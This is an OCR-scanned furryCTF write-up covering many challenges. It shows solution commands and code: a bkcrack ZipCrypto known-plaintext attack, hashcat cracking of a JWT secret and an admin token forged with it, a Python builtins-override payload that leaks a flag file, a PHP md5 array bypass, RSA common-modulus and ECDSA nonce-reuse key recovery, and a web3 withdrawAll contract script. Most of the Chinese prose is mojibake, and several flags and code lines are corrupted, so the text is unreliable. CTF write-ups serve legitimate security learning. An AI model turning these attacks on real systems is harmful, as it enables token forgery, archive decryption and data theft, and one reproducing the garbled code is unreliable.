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[Misc] &3

[ & R B )
BEEER

(2R 5]

THAZEHRFI2ERANEA, BT NEFPELEREGEF furryCTF B

K E| flag

FoNULY L1@33— HSAUSE 1AL Ny ULy s e
¥ <div style="margin:e auto;" id="set outerwidth">
w <div id="divResult">

<div style="margin-bottom:15px;" class="defdisplay">furryCTF{Cro5s_The_Lock_@f Time}</div> @
P <div style="text-align:left;padding-bottom:16px;font-size:14px;" > </div>
</div>
</div>
Flag:

furryCTF{CroSs_The_Lock_Of_TlmeH




[Misc] #3 %%
[ R ]

EEINELEERE ZipCrypto/Store 8, ELEHIEE docx XA IFEN X
f, EE(EHA bkcrack $H/THH XK

63y
- R =450t flag.zip ? X

=8 AR BEEl

ZIP FEHa 4

100%  sepp Epm 1.0 / Store
. i D0S

E4E—/ docx X4, &XIRF Oxle &EZ"[Content_Types].xml",
bkcrack &, 2R, LI

https://sjlt.cn/2024/07/14/ZIP%E6%98%BERE 6% 6%87%E6%94%BB
%E5%87%BB/index.html

$£3] Ox1le XL A docProps/PK, Mt XLtk s| 7 BREHEREX
TEEH

bkcrack -C ... -c ... -0 Oxle -p known.txt -x 0 504B0304

53| 3 /> subkey, £JR)5 flag 7 Word X4 E

D:\PiYuanZhoulLv\bkcrack-1.8.0-win6u4>bkcrack —-C D:\PiYuanZhouLv\sl\furryCTF\misc\xx#& #}\flag.zip -c flag.docx -o Oxle -p
D:\PiYuanZhoulv\s1\furryCTF\misc\xx# ¥} \known.txt -D D:\PiYuanZhoulLv\sl\furryCTF\misc\xx#% ¥} \flag.cracked.zip -x 0 504BO
304

bkcrack 1.8.0 - 2025-08-18

[20:34:29] Z reduction using 3 bytes of known plaintext

100.0 % (3 / 3)

[20:34:29] Attack on 1531625 Z values at index 37

Keys: dc5f5a25 baf03cl6 064c2967

10.3 % (157474 / 1531625)

Found a solution. Stopping.

You may resume the attack with the option: --continue-attack 157474

[20:35:08] Keys

dc5f5a25 bab03cl6 064c2967

[20:35:08] Writing decrypted archive D:\PiYuanZhoulv\sl\furryCTF\misc\xx# ¥}\flag.cracked.zip
100.0 % (1 / 1)



https://sj1t.cn/2024/07/14/ZIP%E6%98%8E%E6%96%87%E6%94%BB%E5%87%BB/index.html
https://sj1t.cn/2024/07/14/ZIP%E6%98%8E%E6%96%87%E6%94%BB%E5%87%BB/index.html

1512, R IFEKAWord X F1E
KFIER, AERAE%EE
IERE, BNEMRE AR
Al E T owo,
ZDPHREXLIANBIzwz, NME
BREXEZ T—" 1 flag, HEZEZS
laglBE B BRI Rzwz
furryCTF{HoOw_D1d_You_ COmE_H9re_ xwx}

Flag:

{FurryCTF{HoBw_D1d_You_COmE_H9re_xwx}




[Misc] ®E RS
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[#2E5 &]
SEET, ME zwz



[Web] ~admin~

(2R R B
BFXE3 jwt, ZRAE none BEARSREE R, HIBH
(@5 K]

HBEFE—/NEIEMN jwt, RS A hashcat

hashcat -a 3 -m 16500
eyJOeXA101iJKV1QiLCIhbGci0iJIUzIIN1J9.eyJ1c2VyIjoidXNlcilIs
ImlhdCI6MTc20Tc20TE20CwiZXhwIjoxNzY5NzcyNzY4fQ.h26e_Tcu2x

Lw_CF9RMgahLoBOCT92Sy0babk4IbPoWO ?a?a?a?a?a?a -1i

IBIEAR key A mwkj

eyJO0eXAi0iJKV1QilCIhbGeci0iJIUzZIINiJ9. eyJ1c2VyIjoidXNlciIsImLlhdCI6MTc20Tc20TE20CwiZXhwIjoxNzY5SNzecyNzYUfQ. h26e_Tcu2xLw_CF9
RMgahLo®0CT92Sy0Oba6k4IbPoW® : mwkj

Hash.Mode. ... 6500 (JWT (JSON Web Token))

Hash.Target. . yJOeXAi0iJKV1QilLCIhbGei0iJIUZIINiJ9.eyJ1c2VyIjoidX ... IbPoWO
Time.Started... i Jan 30 18:36:12 2026 (0 secs)

Time.Estimate ri Jan 30 18:36:12 2026 (0 secs)

Kernel.Feature . ure Kernel (password length 0-256 bytes)

Guess.Mask. .. a?a?a?a [4]

Guess.Queue. . /6 (66.67%)

Speed.#01.... 559.1 MH/s (9.58ms) @ Accel:8 Loops:64 Thr:512 Vec:1

Speed.#03.... 38425.5 kH/s (10.08ms) @ Accel:2 Loops:64 Thr:512 Vec:1
S 597.6 MH/s

Recovered : 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)

RIEHE— admin 89 jwt




JWT Debugger Introduction Libraries Ask
Debugger

JWT Encoder

Fill in the fields below to generate a signed JWT. Generate example

HEADER: ALGORITHM & TOKEN TYPE CLEAR JSON WEB TOKEN COPY
Valid header v J0e%A101 JKVIQiLCIhbGei0i JTUZ 11N J9. ev]1c2VyT o1 YWRtaW4i LC IpYXNQi0 BN k3N kaNigs InV4c
CIBMTC20Te3M 200, 4tyTaz-1bn32nCi ttkr8YzhCVPOTRICSyh4MTSHHHY
T INT
"H5256
PAYLOAD: DATA CLEAR
valid payload

1

SIGN JWT: SECRET CLEAR
valid secret

mwk j

Encoding Format = UTF-8

BHRAZXA jwt R E e €3 flag

R EMR

Fxid, admin!
ZRA48]: 2026/1/30 18:32:48

1 HABY[E): 2026/1/30 19:32:48

flag:
furryCTF{JWT_TOk9n_W1th_We6k_Pa5s}

1ZEpTnEd B35S,

Flag:

[FurryCTF{IWT_TOK9n_W1th_Webk_Pa5s}




[Web] PyEditor

[fE 7R B Bg]
FI|OEM 00ER, TR A G E ey RS ER R

(2R 5]

1117 exit()

118 # Hey bro, don't forget to remove this before release!!!
119 import os

120 import sys

121

122 flag_content = os.environ.get('GZCTF_FLAG', '')

123 os.environ['GZCTF_FLAG'] = "'

124

125itry:

126 with open('/flag.txt', 'w') as f:
127 f.write(flag_content)

128 except:

129 pass

ME, BT exit, XBEREBAWT, MmORPT, B flag WAERRE

i f.owrite, TREEXENRHBEZET, 4 H payload

__builtins__.exit = lambda *_: None
class Leak:
def __init__(self, =xargs, *xkwargs):
super().__init__Q)
def __enter__(self):
return self
def __exit__(self, a, b, c):
pass
def write(self, *args, **kwargs):
print(*args, **kwargs)
__builtins__.open = Leak




LEDERA

__builtins__.exit = lambda *_: Nons
class Leak:
def _init_ (self, *args, **kwargs):
super().__init__()
def _enter__(self):
return self
def _exit_ (self, a, b, ¢):
pass
def write(self, *args, **kwargs):
print(*args, **kwargs)
builtins,

! __-op

en = Leak|

Flag:

\furryCTF{dO_no?_fOr6e7_7o_r3m0ve_dE6UG_whEn_da729de40e51_RE1Ea5eH




[Web] ezmd5

R R

B5|M, AT

[R5 &)

BF nd5 EEA===3REER, FIATAEAMEIHOASE, wEARAL

fE N\ user[]=1&pass[]1=2 B =l

POST ¢+ http

Params Headers Auth Body ® W& Request POST Response 200

v 1 200 OK (7 headers)

v 2

&& isset($_POST[ pass’]))

Suser = §_POST[
$pass = $_POST[’

md5 (user) === md?

ontents ($flag_path)

2> Congratulations! Here is your flag:

POFP{9b6eff3f-d735-4537-b394-110808b1da5

Flag:

POFP{[X 2 K—& RtMER T ovol}




[Web] T—RAT—REEA

[## R g

£ next.js N 10 28K\, K EX payload ek—ekBR=]

[## & 5 B]

XBRAKE yakit, BASLERRTF#

AV NAABERTEKR—K, MEEKET, K—atLFmE

R RIIFE#E next.js 89 HFRZZE—T(?)
Flag:

\furryCTF{r3aD_Cv3_m0re_t0_diSCOvEP_NEXT_JS_ec99bf95cd54H




[Crypto] Ox4A
(AR R B ]
%% qsnctf By Ox42F
2y
H— txtmoji, RRBEAMLEINE, HAZHEI—:
https://txtmoji.elliot00.com/
EARLE R B & "0x4A”

X — &

s e

1. IIZfERemoji

ok WePe RaAaC¥L8iIRLeNTeREv :
wEHW 24/ nlOrBEgeeR UGG CE v
RN E PARYSEE p
2. 2558
3. fFER

EMHSE  YYROULLY Y /mEYTID
4 D 2

RE R 3 JRER4F flag


https://txtmoji.elliot00.com/

NE — &

ez e
1. I EHemoji
OO e FTROFEF EEY-YW™™ Hhed Ul e 5T W ~
A BCld VA I - WOELELOIALSMEE o
FEe? B So@%fedgy p
2. B%%H
3. @3

POFP{2394ESDA555D55D453A28624D901D2CA}

4

O

;>

Flag:

POFP{2394E9DA555D55D493A28624D901D2CA}




[Crypto] GZRSA

(2B R B
RSA Ak H
(AR5 ]

EEFRRZINAMER, e ¢ LR, EEHZEKEHE

# coding:utf-8
import gmpy2
import libnum

# AENSE

el = 44461

e2 = 18293

n =
90351149265990125702282031567260043239381176109565507707251900906
86067658199728619165630981313671869926995787317328768082143950951
10574476633613168091422406560250161438133403421141357884575462083
24431475426386533494258128919966239734259686029453858136435774922
983531470981361039813761362596893628149134105457

cl =
55038726891049343202717253965868925662456033466554124096209631909
22106022880581356583142119730757081718876948354759097586169277079
70461032407505661671453011203291426202461730152992225890408580345
91342075327839021120706563484688254374782941234940514485025885471
130193676546712212032945182207312871961414979107

c2 =
34466566484914444153010021015772964858564359568598666141927860563
86421915221914824279265791556142479001341681168877991127790329016
61558461336707567020258778994011097878874929037334870285518952857
42362933295056340612017871292911804887858502086568057882452330659
577164497627239421448954420529692102320264805115

# AR E R
def rsa_gong_N_def(el, e2, c1, c2, n):
# RO R
el, e2, c1, c2, n = map(int, [el, e2, c1, c2, n])

# T REBRJLESEEAK ged fn A%k
g, sl1, s2 = gmpy2.gcdext(el, e2)

# Kt elfue2 BEER, HEKEFWATIR
if g = 1:
raise ValueError("el foe2 REJR, TiESITHEKE")




# KL REIEN

if sl < 0:

sl = -sl

cl = gmpy2.invert(cl, n) # K cl ayEs#
if s2 < 0:

s2 = -s2

c2 = gmpy2.invert(c2, n) # K c2 pyEs#

# HEBRXm

m = (pow(cl, s1, n) * pow(c2, s2, n)) % n
return int(m)

try:
# PUTHIERE

m = rsa_gong_N_def(el, e2, c1, c2, n)
print("MEEEINEHM:", m)

# OB TS
flag = libnum.n2s(m)

print("##%53|89 flag:", flag.decode('utf-8', errors='ignore'))
except Exception as e:

print("fEEIEHE ", str(e))

Flag:

\fuPPyCTF{de7d63ba35fb_3A5Y_R5A_WiTH_6zc7F_Fr4meWorK}




[Crypto] lazy singer
[fE 7R B Bg]

ECDSA, 5¥NREFREIFALKEMR dBITT, EFEal HH (
(2R 5]

from hashlib import sha2b56

from Crypto.Cipher import AES

from Crypto.Util.Padding import unpad
from Crypto.Util.number import inverse

# ====== MIEHLE#| ======

r‘ =
15692098967234701560408422552340108817423687092323904947534739329
126634124567 #r

sl =
52845069228273944371388290338511252143819660783141159421711005021
057909167876 # s for "aaa"

s2 =

85078844079969850135803140494677543125243099348445003980013043469
692465135351 # s for "bbb"

encrypted_flag_hex =
"58834a957356aca2b038f2a773e30e9fc4afe2174b4ad07e767cb28Bbcaab0723
daf094183f50ad86debe8dc99153f165" # Encrypted Flag (hex)

OxFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCEGAF48AO3BBFD25E8CD036414

ml = b"aaa"
m2 = b"bbb"
# ====== -H‘ﬁ:ﬂé?ﬁ —=====

z1 = int.from_bytes(sha256(m1).digest(), 'big')
z2 = int.from_bytes(sha256(m2).digest(), 'big')

d = (s1 * k - z1) % inverse(r, n) % n
print("[+] recovered private key d =", d)

# ====== ﬁﬁ%“ flag ======
aes_key = sha256(str(d).encode()).digest()




cipher = AES.new(aes_key, AES.MODE_ECB)

flag = unpad(cipher.decrypt(bytes.fromhex(encrypted_flag_hex)),
16)
print("[+] FLAG =", flag.decode())

Flag:

POFP{23edebcB-52e9-4005-9a41-486225a685ccH




[Reverse] ezvm

(h R B8
BEARENRE, AetsyiEr
(AR RE5 B]

ELBRATH R, FTREAMFHFRE DX flag

3] General registers [ | E] deREferencing — Registe

Flag:

POFP{317a614304}




[Reverse] kE&EF
[ R ]
JeinfT, JEERER

(AR 3]

FENBTNA ALIERA+NHRRIE 01 £# N ELE| LA

RIEFE, &I Line 16-21 MF-ZAHE —_3H, REEITE b NIRIERE
RBoE, MRKIE, £2FAET 2h

15 y= # Line 1 - 15: MAGEH ), DHIRLED
116 (once)+=-

17 +1=ta+

18 +0=t+

19 += # Line 16 - 19 Z4pkta%ll, +AMI1->ta, e->t
260 at=taa

P21 t= # Line 20 - 21 _seE

22 1la=a®

23 @a=1

24 a=1 # _HHINmE

25 -1=qb-

.26 -8=q-

27!-=

28 bg=gbb

25:g=

30 @b=b1

31 1b=8 # E{lta, BEREEA

32 (start)e=

k= s |

\gléﬂiﬁ—ﬁ —FEIJ—I

left, right =
'11001100111010100010011606016011116016001666011016160111160600111
10110100001011600001110100000601611110110600010106060001101111
100001000160001111601100111001116060101601110016660111160601111
1111111101610|0116011601116010111016060011011010110101601101
100001100016001011601611160600001600101111601106011161116011601
0010101600010161160060611160101601101600601110600001110101060101060
1011116000001101116011100100"' .split('[")




sniff = left[:10]

pad = right.index(sniff)

left = '0' * pad + left
print(left)

print(right)

length = len(left)

opr = int(right, 2)

omr = int(left, 2)

ori = f'{(opr+omr)//2:b}'

res = f'{(opr-omr)//2:b}'
print(ori.rjust((len(ori)+7)//8%8,
'0')+'+'+res.rjust((len(res)+7)//8%8, '0'))

Recipe Bl F  nput + 03w =
F Bi 81180118011181218111801881118818011116010186821181818188818621168111181181619188811818008811818818111881181811
''''''' ¥ 1119100100101110611191111101010196011101610011011101191601011111601100111p101111101000011091102600119110101
N 1leeeeellelleeelleeleleellelllelleelelellleellelellilloleceellelloleeealleceslelllesleellsllelelelllliel1lalll

Space 8 eelileiileiiellleeiliilel
B =1 @ e Tr Raw Bytes & LF
Output BDm:

FurryCTF{This_Is_Tu7ing_Cemple7es_Charm_nwn}

Flag:

furryCTF{This_Is_Tu7ing_COmp1e7es_Charm_nwnH




[Reverse] Lua

[ R g ]
LA, RWIEF-TEALRHUT
(AR 3]

SREEL% D ZITK, REB IR

EF3—EBE M basebd By, EIRME basebsd, REAEF| LuaT #xiR, H—/VE
LMIERm—T

XHTIR XF Lua
1 -- filename:
version: luas4
3 -- line: [33, 46] id: @
4 local r1_@ = {}
5 forr50 =9, #r0.0 + -1, 1 do
table.insert(rl_@, r5_0 + 1, string.byte(string.sub(r@_e, r5_@ + 1, r5_@ + 1)) ~ 114)
end
8 return (function()
-- line: [39, 45] id: 1
if table.concat(rl @, "-") == "20-30-19-21-9-39-45-9-45-62-7-70-38-45-63-78-1-6-65-32-83-15" the

)
10

1 return "You Are Right!"
12 else

13 return "Wrong!"

14 end

15 end)()

16 |

RIEE—E Python 3XJR— T BRI

"'.join(chr(int(i)~114) for i in "20-30-19-21-9-39-45-0-
45-62-7-70-38-45-63-70-1-6-65-32-83-15".split('-"))

In [1]: ''.join( ( (i)*114) 1 "20-30-19-21-9-39-45-0-45-62-7-70-38-45-63-70-1-6-65-32-83-15" . split('~'))

'flag{U_r_LudT_M4st3R!}'

Flag:

FurryCTF{U_r_Lu4T_M4st3R!}

REELETRD ZW, B2 105sFdH THFERNER

BT ST, ATLUAAEZEMEA T — T XORINEflaghiid, @idM#%, FHRdflagk:

B ER%E (FBET105%))

flag{Y_r_Lu4T_M4st3r!}




[Reverse] TimeManager
(AR R B ]

iX 3h #haF T
[ARRE5 ]

EREEREFA

TERERFES T —&

#include <stdlib.h>
#include <stdio.h>
#include <stdint.h>

uint32_t dword_6043 = OxBEADDEEF; // {t4 & BEADDEEF@~@(?)
uint8_t cipher[] =

{0x21,0x71,0xD8,0xED, 0xDD, 0xA9, 0xCB, 0x2, 0xFB, Ox3E, 0x77, 0x
DF,0x96,0x6D,0x6D,0x29,0x69,0xCF,0xDC,0xC1,0xEA, OxBE,0x23
, OxAA,0x1D, OxE4,0x25,0xD4, 0x9D,0x3A, 0x8A, 0x50, 0xCA,0xD6,0
x86,0x48,0x21,0xFB,0xD5,0x75,0x44,0x49,0x63,0x1B,0x30,0xB
8,0x18,0x39,0x22,0xB2,0x43,0xC8,0x82,0x6,0xDC,0x1D,0x88,0
XBF,0x1A,0xB8,0xC,0xFB, 0x54,0xC9,0x57,0x7A,0xB3,0xDD, 0x94




,0x70,0x6,0xAD,0x41,0x8F,0x13,0x7B,0x66,0x31,0x90,0xF7,0x
EC,0xDC,0xB7,0xE8,0xC4,0x60,0x3C,0x69,0xBD,0xD8,0x8E,0x9B
,0xAB, OxAQ,0x50,0x7,0xCD,0x40,0x7C,0xFE,0x30,0xF2, 0xCA, Ox
45,0xE2,0x53,0x7D,0x19,0xD8,0x16,0x79,0xBD,0x47,0xD3,0x93
,0x33,0xCD,0xCB,0xD4,0xCA,OxDE, 0x38, 0xB5, OxC5, 0x36, OXFF, 0
xA3,0x87};

int main(int argc, const char *%argv, const char *xenvp)
.{
puts("Welcome to the Wired, Lain.");
puts("Your NAVI is ready to assist you.");
puts("Just wait 3 hours, and you will see the flag.");
for (int 1 = 0; i <= 10799; ++i )
.{
srand(i+dword_6043+1);
cipher[i % 128] = rand();
cipher[i % 17] ~= rand();
}
puts("\nWow, u can really do it");
puts(cipher);
return 0Q;

}

RIGTE Linux ERIZm/TEIA

$ gcc waitingfaster.c -o RIEFHF

[:—prthon—venv)fpiﬁﬁLAPTOP—ICPUJCBI)—[/mnt/d
$ /RESF

Welcome to the Wired, Lain.

Your NAVI is ready to assist you.

Just wait 3 hours, and you will see the flag.

Wow, u can really do it
furryCTF{yOU_knOW_howW_t0_hdndl3_ur_t1lm3}

Flag:

[FurryCTF{yBU_knBW_hBW_t0_h4ndl3_ur_tim3}




[Blockchain] ¥#&& T 4
(&3 B R ]
H—ANTEENED, RABRRRKN owner, AR5 withdrawALTLO®IFT

(AR 3]

BEEBEALRE Web3 9RAE, RLEDZEMT

from web3 import Web3
import json
import time

# BE

RPC_URL = "http://furryctf.com:??/rpc/" # AR S RPC
CONTRACT_ADDRESS = "..." # =i k&4t

PRIVATE_KEY = "..." # ¥ N9REFLSA

# &% ABI
CONTRACT_ABI = [

# EET R

w3 = Web3(Web3.HTTPProvider (RPC_URL))

account = w3.eth.account.from_key(PRIVATE_KEY)
address = account.address

contract = w3.eth.contract(address=CONTRACT_ADDRESS,
abi=CONTRACT_ABI)

def setup_event_listener():
""I%£E§$H¢A§WT%FHH'
print("REEHLETE...")

def handle_event(event):
ppint(n\nn + n:n*50)
print(" @ FlagRevealed ZE4#EEKR|!")
print(f" & Revealer:




{event['args']['revealer']}")
print(f" » Flag: {event['args']['flag']}")
print("="%50)

# BlZSHIRE

event_filter =
contract.events.FlagRevealed.create_filter(from_block='1a
test')

return event_filter, handle_event

def attack():
nn "#Lﬁlf(ﬂi" nn
print(f"sk&HE#ut: {address}t")
print(f"&%3tst: {CONTRACT_ADDRESS}")

# 1. BahEHETE (B
event_filter, handler = setup_event_listener()

# 2. FREXH AT gas Mi&
gas_price = w3.eth.gas_price

# 3. KEHHE1: A getStatus() KA owner
print("\n[% 1] @A getStatus O RAELFEE...")
getstatus_tx =
contract.functions.getStatus().build_transaction({

"from': address,

'gas': 100000,

'gasPrice': gas_price,

'nonce': w3.eth.get_transaction_count(address)

1)

signed_tx =
w3.eth.account.sign_transaction(getstatus_tx,
PRIVATE_KEY)

tx_hash =
w3.eth.send_raw_transaction(signed_tx.raw_transaction)

tx_receipt =




w3.eth.wait_for_transaction_receipt(tx_hash)
print(f"v getStatus() xHZm&3h: {tx_hash.hex()}")

# 4. RESGH (WETHE getStatus HALAKEH)
events = event_filter.get_new_entries()
for event in events:

handler(event)

# 5. XESE 2: AA withdrawAll() 38R flag
print("\n[% 2] AR withdrawAlL)ERAFH AL Flag =
#Foo0")
withdraw_tx =
contract.functions.withdrawAll().build_transaction({
"from': address,
'gas': 100000,
'gasPrice': gas_price,
'nonce': w3.eth.get_transaction_count(address)

1)

signed_tx =
w3.eth.account.sign_transaction(withdraw_tx, PRIVATE_KEY)

tx_hash =
w3.eth.send_raw_transaction(signed_tx.raw_transaction)

tx_receipt =
w3.eth.wait_for_transaction_receipt(tx_hash)

print(f"v withdrawAll() XZm&zh: {tx_hash.hex()}")

# 6. #3k FlagRevealed £
print("\n[>%& 3] %9 FlagRevealed E¢...")
time.sleep(3) # &/5%4

events = event_filter.get_new_entries()
if events:
for event in events:
handler(event)
else:
print(" A KRERIFMH, ZRANRZBEBEFHET...")




# MR 7 WP RETE S

receipt = w3.eth.get_transaction_receipt(tx_hash)

logs =
contract.events.FlagRevealed().process_receipt(receipt)

for log in logs:
print("\n" + "="%50)
print("@ MX%BXEPHENE Flag:")
print(f" & Revealer:
{log['args']['revealer']}")
print(f" » Flag: {log['args']['flag']l}")
print("="%50)

# 7. WIEREEE

print("\n[BiE] REELRS...")

try:
owner = contract.functions.owner().call()
balance = contract.functions.balance().call()
print(f" S /&4 A& {owner}")
print(f"&AKMEE: {balance} wei")
print (f"&ALZFRAD:

{w3.eth.get_balance (CONTRACT_ADDRESS)} wei")

if owner.lower() == address.lower():
print(" 8 RIARAEAFAEZE!")
else:
print(" X KEERANEHNFTESE")
except:
print(" 4 TRIZEELRES")

if __name__ == "__main__":
try:
if not w3.is_connected():
print(" X FEREEIUKRGTHTA")
exit(1)

print(" 8 RINZEEIUKRSBTA")
print(f"YUmk~: {address}")




print(f"Ik~&%i: {w3.eth.get_balance(address)}
wei")

# PUATHE
attack()

except Exception as e:
print(f" X #i®: {e}")
import traceback
traceback.print_exc()

REwee2s flag 7

EESBET

Flag:

furryCTF{mimems? (B % .jpg)}




[Forensics] #z 7 RHNEKE
[ R ]
X BREE | A 2

(AR 3]

I EEEREHZEEN— I IR TE, LN

15 Latest 4 from a total of 4 transactions

A Download PageData 7 v

©  Transaction Hash Mathod (2 Block Age From To

Amount Txn Fee
@ Transfer 10051619 19 days age 0x39B872908.. 6B4e60621 N OxFF7C350e...603b7DB72 0.19824268 ETH 0.00002648
@ Transfer 10051617 19 days ago 1Bd81 m 0xFF7C350e...603b7DB72 0.21311768 ETH 0.00002928
® Transfer 10051573 19 days ago F67268 L OxFF7C350e...603b7DB72 0.21075846 ETH
@ 0x67bf23e8d44.. Transfer 10051543 19 days ago 0xc00Cc3CA...D14Ac32d0 L 0xFF7C350e...603b7DB72 0.14414303 ETH

HERX—NKF, AR2Xw=Z flag

Flag:

‘POFP{OXFF7C350e70879DO4A13bb2d8077860e603b7DB72}’




[Hardware] $0#EfE
[ R BR ]

REZF|T one wire XA —R% A5 D EIFiA 2R UART, HKIE, £
E2Z 0A0

It can be run on one signal line (RX or TX)
only, or on two lines (RX + TX).

(PulseView #m&3t)

(A& 5]

ST # PulseView, R/ AMINAEMNTIE UART, SLAEAR S 3R0kdE, T 699
REMR, ZIRBAFTR 9600, HT

[ 0272 Il _ I
[EXE» UART:RX bits &} { } }
» UART: RX data &) i i
» UART: RX warnings 18] 1152 |
» UART: RY breaks i/} 2200 |
T vsrT: RE bits ] R d
» UART: RX data R | g |
» UART: RX warnings 9600 A A 0100 9600

R IEX N EHE T H T

Create marker here

I“I 00 Pause decoding

Copy annotation text to clipboard
—- ® Export all annotations

| Export all annotations for this row

[

I

Export all annotations, starting here

Export annotations for this row, starting here

Export all annotations within cursor range

Export annotations for this row within cursor range

— W@ @@ [



F—BAEHHE ASCII

('data®.txt') YbSiES

In [2]: (€Ux (C (line.split(' ")[-

flag is furryCTF{

B8R ASCII EAF

join( (line.split(* )[-1],

F=FmE3| 7 ASCII

(line.split(' ')[-1]1, 16)) ('data2.txt') 'bit' line))

Flag:

[FurryCTF{Mié61le_PrOm_The_87igin}




[Mobile] /A%

[ & R &
114514 Kim7, AR E, ML 114514 BEERR (KF)
[fERE5 B&]

BABMNKI, BT —apk FAZmENE, MEESEEHRIT —MNEBHEK

F1145147

Rt HATE LML Jadx #ATHIF, EAAMER K 114514

aaaaaaaaaaaa

EIERRA L, MERIXAFlag th b T M



= 2 Re = Q & 18 8 / BB 1531
pongpub (1).apk ¢, sereent

android.support.vd
androidx
appinventor.ai_cryflwind. pongpub
con.google
gnu
kawa
21t
APK signature
@ Sunmary

RS A apktool #HATR%mF, FEWTFX:

BIR ZHEH B
I assets 2026/2/2 16:27 s
M build 2026/2/2 16:44 ik
Il original 2026/2/2 16:27 prg ==
I res 2026/2/2 16:27 prg ==
Il smali 2026/2/2 16:27 prei=3
™ smali_classes2 2026/2/2 16:27 s

™ AndroidManifestxml 2026/2/2 16:27 Microsoft Edge HT...

B apktoolyml 2026/2/2 16:27 Yam| JR3Z{

MifE, BAMEXHRAMME VScode #ATHTH, &k 114514, RKIVZAEKE
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Build with Agent

R A5 =T REFRAE I 16 B F6E

B 0x1bf52, RIRA—NER, kAl jadx ERERAR, FHHN 0x1

exibfsy

(=

Build with Agent

Z J51E H uber-apk-signer XMEMTES L, ZEIFIEMUE L, IHTHIAD

4

—a e RER flag, Eik flag kg ah E AR,



o3 il Sl BB

Game Over
D Sound On

frtuyfrC{Be_The_King_Of P1ngPOng}

Flag:

furryCTF{Be_The_King_Of_PlngPBngH




[PPC] flagReader

(2R R B
F12 ZM#ED, 5—/ B LEABRE
[## & 5 B&]

import requests as rq
prefix = "http://ctf.furryctf.com:33208/api/flag/char/"

for i in range(480):
res = rg.get(prefix+str(i+l))
json = res.json()
print(json['char'], end='"', flush=True)

RIg B HEEEMMAR hex BIe]

SEETY

furryCTF{zwz (#5B3E % x2)}




[PPC] Emoji Engine

[ R g ]
BB —AKERAR, REXFTLENATIRE T
(AR 3]

— IR E M VM SRR E AN, BA EBEERRBORT, ERERE
IRABERNITANZERRIES, RELANFEESHIENEX0, TE
TR EIEE 0 (MREBEARBE), ERBEXNALT [RA
BERPSHLFLERT], TEERN SHLARAR, FREHEFTE, ROKT

(VTR

from pwn import *

def challenge():
while True:
try:
io = connect('ctf.furryctf.com', 32804)
count = 0
while count<100:
1n = io.recvline().decode()
print('[SERVER]', 1n, end='")
if '@®' in 1n:
count += 1
ans = yield 1n
io.sendline(str(ans).encode())
elif '$#3&' in 1n:
yield int(ln.split('2 ')[1].split(', ")[6])
io.interactive()
except:
continue
finally:
io.close()

def debug(name):
def decoration(f):
def inner(*args, xxkwargs):
result = f(xargs, *xkwargs)
print(f'[{name}] Called with {args}, {kwargs} and
returned {result}')
return result




return inner
return decoration

human_0P = 'Add, Sub, Mul, Div, Push, Pop, Swap, Dup, Xor,
Exit'.split(', ")

known = {
|.| 'EXlt',
' : 'Push’
}
def int32(val):

if isinstance(val, str):
val = int(val)
val %= 1 << 32
val = val if val < 0x80000000 else val - (1 << 32)
val = int(val)
return val

# @debug('VM')

def

111

1)1

1)1

111

vm_op(stack, op, op_next=None):
match op:
case 'Add':
if len(stack) < 2:
return True, stack
return True, stack[:-2] + [int32(stack[-2]+stack][-

case 'Sub':
if len(stack) < 2:
return True, stack
return True, stack[:-2] + [int32(stack[-2]-stack]-

case 'Mul':
if len(stack) < 2:
return True, [0] # 457kibIE
return True, stack[:-2] + [int32(stack[-2]*stack][-

case 'Div':
if len(stack) < 2 or stack[-1] == O:
return True, stack
return True, stack[:-2] + [int32(stack[-2]/stack][-

case 'Push':
return True, stack + [int32(op_next)]
case 'Pop':

if len(stack) < 1:
return True, stack
return True, stack[:-1]
case 'Swap':




if len(stack) < 2:
return True, stack
return True, stack[:-2] + stack[-2:][::-1]
case 'Dup':
if len(stack) < 1:
return True, stack
return True, stack[:-1]+stack[-1:]%2
case 'Xor':
if len(stack) < 2:
return True, stack

return True, stack[:-2] + [int32(stack[-2]7stack][-
11

case 'Exit':
if len(stack) < 1:
return False, None
return True, stack[-1]

def learn(puzzle, ans):
global known
puzzle = puzzle.copy()
print('Learning:', puzzle, '==', ans)
stack = [([], {P)]
while puzzle:
op = puzzle.pop(0)
if op not in known:
new_stack = []
for s, guessed in stack:
if op in guessed:
ok, ns = vm_op(s, guessed[op])
if ok:
new_stack.append((ns, guessed))
else:
for guess in set(human_0OP) -
set(known.values()) - set(guessed.values()):
ok, ns = vm_op(s, guess)
if ok:
new_stack.append((ns, guessed|{op:
guess}))
stack = new_stack
else:
new_stack = []
op_next = puzzle.pop(B) if op == ''&"' else None
for s, guessed in stack:
ok, ns = vm_op(s, known[op], op_next)
if ok:
new_stack.append((ns, guessed))
stack = new_stack
ok = list(filter(lambda x: x[0] == ans, stack))
if not ok:




print("Stragne...")
pause()
return
for i, v in {op: set(d[1][op] for d in ok) for op in
ok[0][1].keys()}.items():

if len(v) == 1:
v = v.pop()
print('Learned:', i, '==', v)
known [|= {i: v}

def vm(puzzle):
stack = []
while puzzle:
op = puzzle.pop(B)
op_next = puzzle.pop(B) if op == '&'' else None
_, stack = vm_op(stack, known[op], op_next)
return stack

def parse_ins(puzzle):
puzzle = puzzle.strip().split(' ')
ins = set()
i=20
while i < len(puzzle):
ins.add(puzzle[il])
i+= 1 + (puzzle[i] == '&")
return puzzle, ins

# context(log_level='debug')

chal = challenge()
puzzle = None
while True:
print(known)
if not puzzle:
puzzle = chal.send(None)
puzzle, ins = parse_ins(puzzle)
if any(op not in known for op in ins):
print('Some op unknown...')
ans = chal.send(114514)
learn(puzzle, ans)
puzzle = None
continue
puzzle = chal.send(vm(puzzle))
if isinstance(puzzle, int):
print('Err... Not right')
pause()
puzzle = None

E: RE T AR NE, FA pwntools BEIRE
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[ R R g ]
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